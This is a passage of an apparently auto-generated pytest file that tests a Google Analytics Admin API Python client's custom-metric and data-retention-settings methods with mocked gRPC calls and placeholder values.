request_type=analytics_admin.ListCustomMetricsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_metrics), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListCustomMetricsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_custom_metrics(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListCustomMetricsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCustomMetricsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_custom_metrics_async_from_dict():
await test_list_custom_metrics_async(request_type=dict)
def test_list_custom_metrics_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListCustomMetricsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_metrics), "__call__"
) as call:
call.return_value = analytics_admin.ListCustomMetricsResponse()
client.list_custom_metrics(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_custom_metrics_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListCustomMetricsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_metrics), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListCustomMetricsResponse()
)
await client.list_custom_metrics(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_custom_metrics_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_metrics), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListCustomMetricsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_custom_metrics(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_custom_metrics_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_custom_metrics(
analytics_admin.ListCustomMetricsRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_custom_metrics_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_metrics), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListCustomMetricsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListCustomMetricsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_custom_metrics(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_custom_metrics_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_custom_metrics(
analytics_admin.ListCustomMetricsRequest(), parent="parent_value",
)
def test_list_custom_metrics_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_metrics), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[
resources.CustomMetric(),
resources.CustomMetric(),
resources.CustomMetric(),
],
next_page_token="abc",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[], next_page_token="def",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[resources.CustomMetric(),], next_page_token="ghi",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[resources.CustomMetric(), resources.CustomMetric(),],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_custom_metrics(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.CustomMetric) for i in results)
def test_list_custom_metrics_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_metrics), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[
resources.CustomMetric(),
resources.CustomMetric(),
resources.CustomMetric(),
],
next_page_token="abc",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[], next_page_token="def",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[resources.CustomMetric(),], next_page_token="ghi",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[resources.CustomMetric(), resources.CustomMetric(),],
),
RuntimeError,
)
pages = list(client.list_custom_metrics(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_custom_metrics_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_metrics),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[
resources.CustomMetric(),
resources.CustomMetric(),
resources.CustomMetric(),
],
next_page_token="abc",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[], next_page_token="def",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[resources.CustomMetric(),], next_page_token="ghi",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[resources.CustomMetric(), resources.CustomMetric(),],
),
RuntimeError,
)
async_pager = await client.list_custom_metrics(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.CustomMetric) for i in responses)
@pytest.mark.asyncio
async def test_list_custom_metrics_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_metrics),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[
resources.CustomMetric(),
resources.CustomMetric(),
resources.CustomMetric(),
],
next_page_token="abc",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[], next_page_token="def",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[resources.CustomMetric(),], next_page_token="ghi",
),
analytics_admin.ListCustomMetricsResponse(
custom_metrics=[resources.CustomMetric(), resources.CustomMetric(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_custom_metrics(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_archive_custom_metric(
transport: str = "grpc", request_type=analytics_admin.ArchiveCustomMetricRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.archive_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ArchiveCustomMetricRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_archive_custom_metric_from_dict():
test_archive_custom_metric(request_type=dict)
def test_archive_custom_metric_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_metric), "__call__"
) as call:
client.archive_custom_metric()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ArchiveCustomMetricRequest()
@pytest.mark.asyncio
async def test_archive_custom_metric_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ArchiveCustomMetricRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.archive_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ArchiveCustomMetricRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_archive_custom_metric_async_from_dict():
await test_archive_custom_metric_async(request_type=dict)
def test_archive_custom_metric_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ArchiveCustomMetricRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_metric), "__call__"
) as call:
call.return_value = None
client.archive_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_archive_custom_metric_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ArchiveCustomMetricRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_metric), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.archive_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_archive_custom_metric_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.archive_custom_metric(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_archive_custom_metric_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.archive_custom_metric(
analytics_admin.ArchiveCustomMetricRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_archive_custom_metric_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.archive_custom_metric(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_archive_custom_metric_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.archive_custom_metric(
analytics_admin.ArchiveCustomMetricRequest(), name="name_value",
)
def test_get_custom_metric(
transport: str = "grpc", request_type=analytics_admin.GetCustomMetricRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomMetric(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
measurement_unit=resources.CustomMetric.MeasurementUnit.STANDARD,
scope=resources.CustomMetric.MetricScope.EVENT,
)
response = client.get_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetCustomMetricRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomMetric)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.measurement_unit == resources.CustomMetric.MeasurementUnit.STANDARD
assert response.scope == resources.CustomMetric.MetricScope.EVENT
def test_get_custom_metric_from_dict():
test_get_custom_metric(request_type=dict)
def test_get_custom_metric_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_metric), "__call__"
) as call:
client.get_custom_metric()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetCustomMetricRequest()
@pytest.mark.asyncio
async def test_get_custom_metric_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.GetCustomMetricRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomMetric(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
measurement_unit=resources.CustomMetric.MeasurementUnit.STANDARD,
scope=resources.CustomMetric.MetricScope.EVENT,
)
)
response = await client.get_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetCustomMetricRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomMetric)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.measurement_unit == resources.CustomMetric.MeasurementUnit.STANDARD
assert response.scope == resources.CustomMetric.MetricScope.EVENT
@pytest.mark.asyncio
async def test_get_custom_metric_async_from_dict():
await test_get_custom_metric_async(request_type=dict)
def test_get_custom_metric_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetCustomMetricRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_metric), "__call__"
) as call:
call.return_value = resources.CustomMetric()
client.get_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_custom_metric_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetCustomMetricRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_metric), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomMetric()
)
await client.get_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_custom_metric_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomMetric()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_custom_metric(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_custom_metric_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_custom_metric(
analytics_admin.GetCustomMetricRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_custom_metric_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomMetric()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomMetric()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_custom_metric(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_custom_metric_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_custom_metric(
analytics_admin.GetCustomMetricRequest(), name="name_value",
)
def test_get_data_retention_settings(
transport: str = "grpc",
request_type=analytics_admin.GetDataRetentionSettingsRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_retention_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DataRetentionSettings(
name="name_value",
event_data_retention=resources.DataRetentionSettings.RetentionDuration.TWO_MONTHS,
reset_user_data_on_new_activity=True,
)
response = client.get_data_retention_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetDataRetentionSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DataRetentionSettings)
assert response.name == "name_value"
assert (
response.event_data_retention
== resources.DataRetentionSettings.RetentionDuration.TWO_MONTHS
)
assert response.reset_user_data_on_new_activity is True
def test_get_data_retention_settings_from_dict():
test_get_data_retention_settings(request_type=dict)
def test_get_data_retention_settings_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_retention_settings), "__call__"
) as call:
client.get_data_retention_settings()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetDataRetentionSettingsRequest()
@pytest.mark.asyncio
async def test_get_data_retention_settings_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetDataRetentionSettingsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_retention_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DataRetentionSettings(
name="name_value",
event_data_retention=resources.DataRetentionSettings.RetentionDuration.TWO_MONTHS,
reset_user_data_on_new_activity=True,
)
)
response = await client.get_data_retention_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetDataRetentionSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DataRetentionSettings)
assert response.name == "name_value"
assert (
response.event_data_retention
== resources.DataRetentionSettings.RetentionDuration.TWO_MONTHS
)
assert response.reset_user_data_on_new_activity is True
@pytest.mark.asyncio
async def test_get_data_retention_settings_async_from_dict():
await test_get_data_retention_settings_async(request_type=dict)
def test_get_data_retention_settings_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetDataRetentionSettingsRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_retention_settings), "__call__"
) as call:
call.return_value = resources.DataRetentionSettings()
client.get_data_retention_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_data_retention_settings_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetDataRetentionSettingsRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_retention_settings), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DataRetentionSettings()
)
await client.get_data_retention_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_data_retention_settings_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_retention_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DataRetentionSettings()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_data_retention_settings(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_data_retention_settings_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_data_retention_settings(
analytics_admin.GetDataRetentionSettingsRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_data_retention_settings_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_retention_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DataRetentionSettings()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DataRetentionSettings()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_data_retention_settings(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_data_retention_settings_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_data_retention_settings(
analytics_admin.GetDataRetentionSettingsRequest(), name="name_value",
)
def test_update_data_retention_settings(
transport: str = "grpc",
request_type=analytics_admin.UpdateDataRetentionSettingsRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_data_retention_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DataRetentionSettings(
name="name_value",
event_data_retention=resources.DataRetentionSettings.RetentionDuration.TWO_MONTHS,
reset_user_data_on_new_activity=True,
)
response = client.update_data_retention_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateDataRetentionSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DataRetentionSettings)
assert response.name == "name_value"
assert (
response.event_data_retention
== resources.DataRetentionSettings.RetentionDuration.TWO_MONTHS
)
assert response.reset_user_data_on_new_activity is True
def test_update_data_retention_settings_from_dict():
test_update_data_retention_settings(request_type=dict)
def test_update_data_retention_settings_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_data_retention_settings), "__call__"
) as call:
client.update_data_retention_settings()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateDataRetentionSettingsRequest()
@pytest.mark.asyncio
async def test_update_data_retention_settings_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.UpdateDataRetentionSettingsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_data_retention_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DataRetentionSettings(
name="name_value",
event_data_retention=resources.DataRetentionSettings.RetentionDuration.TWO_MONTHS,
reset_user_data_on_new_activity=True,
)
)
response = await client.update_data_retention_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateDataRetentionSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DataRetentionSettings)
assert response.name == "name_value"
assert (
response.event_data_retention
== resources.DataRetentionSettings.RetentionDuration.TWO_MONTHS
)
assert response.reset_user_data_on_new_activity is True
@pytest.mark.asyncio
async def test_update_data_retention_settings_async_from_dict():
await test_update_data_retention_settings_async(request_type=dict)
def test_update_data_retention_settings_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
